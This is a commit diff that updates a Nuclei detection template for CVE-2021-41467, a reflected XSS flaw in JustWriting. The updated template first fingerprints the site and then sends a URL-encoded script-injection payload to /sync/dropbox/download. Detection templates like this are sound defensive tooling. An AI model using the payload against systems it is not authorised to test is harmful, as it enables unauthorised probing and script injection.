Update CVE-2021-41467.yaml with new matchers

http/cves/2021/CVE-2021-41467.yaml

@@ -13,8 +13,6 @@ info:
     - https://github.com/hjue/JustWriting/issues/106
     - https://nvd.nist.gov/vuln/detail/CVE-2021-41467
     - https://github.com/hjue/JustWriting/
-    - https://github.com/ARPSyndicate/cvemon
-    - https://github.com/ARPSyndicate/kenzer-templates
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -29,24 +27,34 @@ info:
     product: justwriting
   tags: cve2021,cve,justwriting,xss,justwriting_project,vuln
 
+flow: http(1) && http(2)
+
 http:
-  - method: GET
-    path:
-      - '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    host-redirects: true
+    max-redirects: 2
 
-    matchers-condition: and
     matchers:
-      - type: word
-        part: body
-        words:
-          - "</script><script>alert(document.domain)</script>"
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "justwriting")'
+        condition: and
+        internal: true
 
-      - type: word
-        part: header
-        words:
-          - "text/html"
+  - raw:
+      - |
+        GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
+        Host: {{Hostname}}
 
-      - type: status
-        status:
-          - 200
-# digest: 4a0a00473045022100b37afe61e2d25c684d0b0191a8d241920e0ea5eb2a6deb2649987fd0204de54602201fbf6ec31ed371d400436551f7a96598a62df6dda35682945245fd4772c7f8a1:922c64590222798bb761d5b6d8e72950
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "</script><script>alert(document.domain)</script>")'
+        condition: and